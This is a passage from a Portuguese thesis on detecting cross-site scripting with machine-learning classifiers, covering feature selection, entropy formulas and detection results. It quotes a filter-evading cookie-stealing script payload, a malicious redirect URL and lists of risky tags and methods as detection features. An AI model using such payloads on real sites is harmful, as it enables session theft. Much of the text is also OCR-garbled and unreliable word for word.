outros grupos de caracteristicas.
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Adicionalmente, a analise dessas caracteristicastrou que as técnicas de ofuscacao
ocultam outro conjunto importante de caracterisfid@rmado por esquemas potencialmente
inseguros e padrdes suspeitos, comumente presmtegtores XSS e que muitas vezes nao sao
detectados por outros métodos ou em virtude daripramdificacdo usada no ataque. Para
identificar e extrair esse conjunto de caractedsti o método contempla uma fase de
decodificagdo, que alcanca grande parte das caciifes usadas em ofuscacédo de cddigo malicioso
em ataques XSS.

Pela andlise dos dois conjuntos, formados pelesctesisticas obtidas antes e apos o
processo de decodificacédo, foi possivel identifieasrganizar as caracteristicas em trés grupos:
caracteristicas baseadas em ofuscacdo, extraidasimeira fase do método; e caracteristicas
baseadas em padrdes suspeitos e em esquemasalotents inseguros, extraidas na segunda fase.

Para avaliar a contribuicdo do método e das @afatitas propostas, esses grupos foram
submetidos aos experimentos analisados na Secd&b B&a realizar esses experimentos foram
coletadas instancias de exemplos de paginas idBecteom vetor XSS e paginas benignas, que
foram usadas para extrair as caracteristicas enbatas. Os valores extraidos foram armazenados
em um vetor de dados e submetidos aos classifies®W¥M,Naive Baye® Arvore de Decisdo. O
experimento com diversos classificadores teve pgtiwo realizar uma analise de desempenho, a
fim de selecionar o classificador que melhor sstagse ao conjunto de dados de treinamento e
confirmar a predicdo das caracteristicas e o piatiedo método em classificadores diferentes,

estaveis e largamente usados na area de aprendideg@aquina.

Os resultados dos experimentos revelaram que ass tde acerto alcancadas pelos
classificadores foram elevadas. SVM obteve 98,7&%ara de precisdo e o classificador baseado
em Arvore de Decisdo apresentou a taxa de 99,08%ramente superior a SVM. Entretanto,
analisando os resultados de falsos negativos @sfalssitivos constatou-se que a Arvore de Decis&o
valorizou mais a classe positiva (maliciosa) obtendha taxa de deteccdo de 97,08% e SVM,
94,07%. ONaive Bayesao obteve bom desempenho na taxa de detec¢c&6¥6)1 provavelmente
em virtude do tipo de dados (continuo) do conjulgdreinamento.

Para avaliar o potencial do método proposto eigiieddas caracteristicas selecionadas, 0s
grupos foram submetidos individualmente a experiosnom o classificador baseado em Arvore
de Decisdo. O grupo baseado em caracteristicaBigeagdo, obtido na primeira fase de extracao,
produziu 93,39% de taxa de deteccdo. Os gruposadhaseem padrbes suspeitos e esquemas

potencialmente inseguros, extraidos na segunda dasenétodo obtiveram, respectivamente,
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92,38% e 94,97% de taxa de deteccédo. A combinaggidrés grupos alcancou 97,08% de taxa de
deteccao de XSS.

Dentre os trabalhos avaliados, o que mais se a#isempara fins de comparagdo dos
resultados foi o de Likarish et al. [2009] que eagar técnicas de aprendizagem de maquina para
detectar cédigo malicioso em linguagdawvaScript Dessa forma, com o objetivo de avaliar os
resultados obtidos neste trabalho, foi realizada bmeve comparagdo e analise do trabalho de
Likarish et al. [2009], descritos na Sec¢éo 5.3o0/paracdo mostra que as caracteristicas propostas
neste trabalho apresentaram um pequeno ganho percea taxa de deteccdo quando comparado
aos resultados obtidos com as caracteristicas gtagp@elos referidos autores, e um ganho

percentual significativo ao inserir 0os grupos decieristicas extraidas naf@se do método.

Conclui-se que, os classificadores selecionadass eexperimentos realizados nao sao
exaustivos, entretanto, os resultados alcancaduosrgdram a viabilidade do método proposto e a
capacidade preditiva das caracteristicas empregeddsteccdo de XSS em pagimaeb propostas

neste trabalho, considerando a base utilizadaxpeienentos.
6.1 Trabalhos Futuros

As pesquisas na area de deteccdo de anomaliagnéawiahs, pois as técnicas de ataques estdo em
constante evolugcdo e mudancas. Apesar do moddliatipoeobtido apresentar boa capacidade de
generalizacao e possibilitar a classificacdo ecgéte de atagues que apresentem o mesmo padréo
modelado, as caracteristicas propostas, apesaedentes ao conjunto de dados analisado, ndo séo
exaustivas. Dessa forma, as caracteristicas pnec@saampliadas com o objetivo de acompanhar o
dinamismo das técnicas empregadas em ataques X@8emtar a taxa de detecgdo. Além disso, 0s
experimentos conduzidos foram limitados aos classibresNaive Bayes SVM e Arvore de
Decisdo e as manipulacdes de seus parametros. ,Assistem outros classificadores com bom

desempenho que podem se ajustar ao problema ebobteresultados.

Portanto, considerando a amplitude dos ataqueseX&fas evolugdes, a obtencdo de novas
bases de treinamento e pesquisas por caractesigtiearepresentem novas dimensdes de ataques €
uma boa oportunidade para novos experimentos. lfagéia de uma etapa de analise dinamica para
detectar ataques do tipo DOB&sed que ndo podem ser detectados por analise estatichém é

sugerida para trabalhos futuros.
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Apéndice A

Pré-processamento dos Dados

A.1 Objetivo

Este Apéndice tem por objetivo apresentar os degtalblacionados a fase de pré-processamento e
selecdo das caracteristicas.

A.2. Pré-Processamento dos Dados e Selecéo de Cardsticas

Uma das fases mais importantes do processo dedagagam de maquina supervisionada é o pré-

processamento dos dados. Dentre os objetivos dasta pode-se destacar a identificacdo e

remocao de problemas presentes nos dados e a &bteéagonhecimento mais apurado sobre os

dados do problema que se quer investigar. Bussaiseionar o conjunto de dados apropriado e

alcancar maior efetividade na extracdo do conhetinnea fase de selecdo e aplicagdo dos métodos
de aprendizagem [Batista, 2003].

Nestaetapa sdo aplicadas diversas técnicas de pré-pemoento sobre a base de dados,
incluindo identificacdo, extracdo e selecdo deatarssticas e a aplicacdo de técnicas de filtragem
com o objetivo de aumentar a qualidade dos dadoso or exemplo, identificar e remover dados
corrompidos, remover atributos irrelevantes e s atesconhecidos ou simplesmente estabelecer
visualizacdes da estrutura dos dados, a fim déw oonhecimento sobre os mesmos. De forma
geral, a fase de pré-processamento é um processeagmmatico que depende de conhecimento

prévio do dominio pesquisado.
A.2.1 Base de Dados Experimental

A base de dados utilizada na fase de processarderdados é composta por 72.377 pagwely
dentre as quais, 15.170 sdo paginagb infectadas com XSS, obtidas emSSed
(http://www.xssed.com), referentes a ataques atmsrentre o periodo de 23 de junho de 2008 a 22
de novembro de 2010 e 57.207 péagineb benignas, previamente rotuladas, obtidasbamoz

(www.dmoz.org). As bases foram coletadasgrawlersdesenvolvidos para esta finalidade.
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A.2.2 Selecado de Caracteristicas

Apés a fase de coleta dos dados, a base foi pogpgrara a identificacdo e sele¢do de
caracteristicas que representassem 0s conjuntdadiess selecionados. Dentre as etapas de pré-
processamento, foi realizada a identificacdo e dlécacdo do conteudo das instancias coletadas,
tendo em vista a observacdo de inumeros formatosoddicacbes alternativas, tais como,
Hexadecimal, Decimal, Octal, Unicode, Base64, taras de referéncia HTML, entre outros,
comumente empregados na ofuscacdo do codigo nzalicio

Em seguida, foi realizada a eliminagéo stmpwords a segmentacdo dos dadostekense a
apuracao de sua frequéncia usando a medidadim (Frequengy que consiste na contagem ou
frequéncia de um determinado atributo nas instanc@etadas. A medida TF é definida pela
Equacdo A.1, em gueeq (tj, p) € a freqiéncia do termania pagina gCambridge, 2008]:

aj = TF (§, p) =freq(t, p) (A.1)

Com base no dominio pesquisado e na avaliacdo mdowam eleitos os termos mais
relevantes do conjunto de dados e em seguida sugdomet calculos de entropia com objetivo de
avaliar o ganho de informacédo dos atributos préegmhados em relagdo as duas classes, a fim de
elencar atributos candidatos para a fase de setbg@&aracteristicas. Este processo foi importante

para a obtencdo de conhecimento do conjunto desdadgara a avaliacdo e comparacdo com a

Base Benigna

literatura pesquisada. Este processo € ilustradiiguaia A.1.

Base Maliciosa Caracteristicas
Preliminares

UAvallagéo

Manual

V Il Paginas Il Paginas
Web Web

Crawler Crawler

Decodificagéo de Decodificagéo de
charset U Entropia charset

lCodlgo | Segmentagéo de dados

Medida TF

@)
R

Segmentacéo de dados Cédigo

C:I benigno

Medida TF

)
{0

Figura A.1. Processo de pré-processamento da base d e dados experimental.

Muitos atributos podem se revelar importantes, ppgpéra certos conjuntos de dados, apenas
um pequeno numero é usualmente relevante, maisrmafivo e menos custoso
computacionalmente [Witten et al., 2005]. A redudaodimensionalidade dos dados, suprimindo
atributos pouco relevantes, melhora o desempend@ldoritmos de aprendizagem e produz uma

representacdo mais compacta e mais facilmentgietérel do conceito alvo [Witten et al., 2005].
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Seguindo essa linha, apds a extracao e obtencéalatodos atributos do documentebe
URL para as duas classes, foram avaliadas a gdaldkacada atributo individualmente, de forma a
ordena-los em umankinge avaliar o seu grau de associacao com a classeisBa, foi empregada
a técnica de selecdo de atributos do tipo filtngpahivel na ferramenta Weka [Weka, 2010],
utilizando algoritmos deranking associados a algoritmos com funcao aealiacdo baseados no
ganho de informagdo, fundamentado no conceito d®pmpa H) [Shannon, 1948], definida na

Equacgao A.2.
InfoGain (Class,Attributg = H (Clasg - H (Class| Attribute). (A.2)

A métrica € empregada sobre a base de dadosg, BAA.., A, C), para k> 1, com k+1
atributos, onde A, séo os atributos, em queda ..., &} corresponde ao seu dominio, pararh
e C, o atributo classe, em qug,{c, ..., ¢}, corresponde ao seu dominio, para 2. A entropia da

classe € dada pela Equacao A.3:

H (C) :_; (p * logz (). (A.3)

onde se define a probabilidade gomo a raz&o entre o niumero de instancias eno gador ¢ da
classe, para £ i < n, ocorre na base e o numero total de instangiasitropia pardd (A) é
calculada de forma anéloga, onde se define a pilmzate p, para I< j < m, para cada valoy@o
atributo como a razéo entre o nimero de instamgidsase em que ocorre o valppara o atributo

A e o nUmero total de instancias.

Para a entropia condicional Hg(Class| Attribute) tém-se a Equacéo A.4:
m n
H (CIA) :'Z,- 12 (py: * log (Pa)/P) (A4)

A probabilidade p € a razdo entre o numero de instancias da baspentes a classe ¢
em que ocorre o valor do atributo A, e o numero total de instancias deebalesta fase foram
excluidos os atributos que néo representavam gamlvdformacéo relevante, e que prejudicavam a
capacidade preditiva e de generalizacdo dos atzstoires empregados.

As caracteristicas pré-selecionadas nesta fas#esé&dtas a seguir:

Caracteristicas baseadas em ofuscacagrupo composto por 02 caracteristicas e 08 atsbhgtie
correspondem as codificagfes alternativas, comwendilizadas para ofuscar codigo malicioso e
contornar filtros de validacao de entrada de da@ss$;icoes de acesso, causar a negacao de servi¢o
de uma aplicacéo ou ainda, viabilizar o acesssta tle diretorios, a disseminacaond@ware ou

facilitar a exploracdo de vulnerabilidades e remsif®cais. [Likarish et al., 2009], [CAPEC-72,
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2011]. Likarish et al. [2009] empregaram caractieds baseadas em ofuscacdo com bons
resultados em seu trabalho. As caracteristicaa distse sdo descritas a seguir:

Tamanho da URL (URL_Lenght) corresponde a quantidade de caracteres presemtes n
URL. Esta caracteristica foi usada com bons redndtana distincdo entre URLs maliciosas e
benignas na deteccédo @hishing por Ma et al. [2009]. Neste trabalho, esta caretiea foi
empregada para determinar as URLs potencialmenseadas, pois diversos ataques de XSS por
meio da URL normalmente apresentam codigos matisia$uscados, que possuem um padréao de
tamanho comumente maior que URLs sem codificacéo.

Caodigo Ofuscado (Encodedgaracteristica composta por 07 atributos queespandem as
cadeias de caracteres ofuscados por codificacemativas: Hexadecimal, Decimal, Octal,
Unicode Base64, caracteres de referéncia HTML e HTNEme Por exemplo, considera-se uma
cadeia de caracteres codificada em Base64, aquelaapgresenta uma sequéncia superior a 40
caracteres na faixa [a-zA-Z0-9], incluindo caragset+, /7 e um possivel sufixo “=" ou “==" no
fim do texto. Apesar de ser encontrada também eligedavaScriptndo malicioso, a ofuscacao de
codigo malicioso por meio de codificacdes altemzatie largamente usada em ataques do tipo XSS
[CAPEC-72, 2010], [Likarish et al., 2009].

Caracteristicas baseadas em padrbes suspeitossta classe € composta por 03
caracteristicas e de um conjunto de atributos qogpdem padrdes suspeitos.

Quantidade de Dominios (URL_Chain)caracteristica corresponde a quantidade de
dominios encontrados na URL. Ataques do Raalirectapresentam URLs em cadeia [Grossman,
2007], que sao inseridas para redirecionar a vipara paginas armazenadas em servidores de
atacantes com o0 objetivo de executar recursos negecom contetdo malicioso, como por
exemplo, arquivos “.js” que podem conter cédigeaScriptmalicioso ou para transfedookiesou
informacgdes criticas pela manipulacdo de esquensdasngalmente perigosos. Por exemplo:
www.sitebenigno. com/redir.php?url=http://www.sidimioso.com./. Esta URL apresenta dois
dominios “.com” indicando a presenca de uma ouR&.UWNeste caso, inserida via “redir.php?url="
para redirecionar o usuario para o site do atacante

Caracteres Especiais Duplicados (Doubled_Chacprresponde a identificacdo de uma
cadeia de caracteres especiais mal formados, dosemas aberturas e fechamentostalgs
[CAPEC-245, 2010], frequentemente encontrados e@quas que tém por objetivo burlar filtros
anti-XSS, pois muitos navegadomgsbignoram o0s caracteres extras e corrigem o codigomna
automatica, permitindo a sua execucéo. A preseassedrecurso indica a potencial existéncia de

coédigo malicioso XSS. Exemplo:<"<<sCrlpT>alert(document.cookie)</sCripT*' <sCrlpT>
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alert(document. cookie )'<</sCrlpT>.

Palavras ChavegKeyWords) corresponde as palavras chaves comumente endastean
redirecionamentos de pégina, disseminacamalevaree ataquephishingassociados a ataques de
XSS. [Grossman, 2007].

Caracteristicas baseadas em esquemas HTMlavaScript esta classe é composta por uma
caracteristica e um conjunto de atributos que séquéntemente usados em associacdo com
esquemas potencialmente perigosos [Yue & Wang,]2009

Esquemas HTML/JavaScript (Tag$Scheme) esta caracteristica identifica a presenca de
esquemas potencialmente vulneraveis a execuca@digocmalicioso, como por exempltags
HTML: <script>, <iframe>, <meta> e <div>; propriedades HTMLhref, http-equiv e lowsrc;
EventHandlers onclick onmouseovee onload objetos DOM:Windows Location e Document
propriedades do objeto DOMCookie Referrer e InnerHtml; e métodoslavaScript: write ( ),
getElementsByTagNange, alert (), eval( ), fromCharCod¢ ), etc.

A.2.3 Anélise das Caracteristicas

Para avaliar a predi¢cdo das caracteristicas peéisehdas nos resultados obtidos na classificagéo,
foram usadas todas as caracteristicas seleciomsasm unico experimento. O classificadores

empregados foramgaive Bayeg 0 SVM. Os resultados séo apresentados na Taliela

Tabela A.1. Comparacéo dos resultados obtidos pelos classificadores Naive Bayes e SVM.

Classificador NaiveBayes SVM
Tr:izfnse(lj‘l(teo XSSede Dmoz

Taxa de deteccéo 94,99% 94,06%

Taxa de preciséo 98,54% 98,59%

Falso alarme 0,510% 0,200%

Total de insténcias 72.377

Para analisar as caracteristicas pré-selecionadasalizado um conjunto de experimentos
com o classificador SVM sob a forma de rodizio iada por meio de novas execucdes do processo

de classificagdo usando uma Unica caracteristicagzo conforme demonstrado na Tabela A.2.
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Tabela A.2. Analise individual das caracteristicas usando SVM.

Bases de treinamento Dmoz
Métrica de Desempenho Precisdo

Todas 0,985

Encoded 0,957

Caracteristicas [ URL_Length 0,985

Usadas

URL_Chain 0,981

Doubled_Char 0,910

Tags_Scheme 0,985

Ao avaliar a Tabela A.2 percebe-se que as cafstitess apresentaram alta relevancia na
classificacdo automatica de atagques XSS em pagiahsAs caracteristicas de maior relevancia
(maiores taxas) foraWRL_Lengthe Tags_Schemdato explicado pela presenca de um conjunto
peculiar de URLSs relativamente curtas e uma bacaaréncia de esquemas HTML potencialmente
perigosos nessa base. O uso isolado das mesmasioateterminantes na classificacdo quando
ocorre a diversificagcdo do conjunto de dados d&.bAstretanto, o uso combinado de todas as

caracteristicas apresentou grande potencial predits experimentos.

Para garantir a escalabilidade com a adigcdo dasnoaracteristicas e maior precisdo em
novos experimentos estas caracteristicas foramithdilizadas. A partir do resultado desta fase e
da analise da literatura e das bases de conhecmenttidas peldhe Mitre Corporation CAPEC
- Common Attack Pattern Enumeration and Classifica(ldtp://capec.mitre.org), CWEGommon
Weakness Enumeratiofttp://cwe.mitre.org) e CVE €ommon Vulnerabilities and Expossures
(http://cve.mitre.org), foram selecionadas as dar@ticas propostas neste trabalho, relacionadas
na Tabela A.4 e descritas em detalhes nas Secisl44.1.4.1 e 4.1.4.2.



Tabela A.3. Caracteristicas propostas.
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Grupo Caracteristicas de Caracteristicas Tipo de
URL do Dados
Documento Web
url_lenght -
url_hex dw_hex
url_dec_octal dw_dec_octal
url_uni dw_uni
Caracteristicas Baseadas em | url_base64 dw_base64
Ofuscacao url_entities_name dw_entities_name
(18 caracteristicas) url_handHex dw_simbols
url_dvectrl dw_dvctrl
url_null -
url_whitespace -
url_slash -
url_IP_based dw_links_tot
url_dot - .
= Continuo

Caracteristicas Baseadas em
Padrbes Suspeitos
(12 caracteristicas)

url_char_esp

dw_char_esp

url_TLD_ danger

url_char_double

dw_char_double

url_JS files dw_JS files

url_keywords dw_Keyword
url_html_tags dw_html_tags
url_html_prop dw_html_prop

Caracteristicas Baseadas em | url_events dw_events
Esquemas Potencialmente | url_ DOM_obijt dw_DOM_obijt
Inseguros url_ DOM_prop dw_DOM_prop

(16 caracteristicas) url_JS tags dw_JS tags

url_ JS meth dw_JS meth

url JS meth encode

dw_JS meth_encod

D

Subtotal

26 caracteristicas

20 caracteristicas

Total

46 caracterisitcas




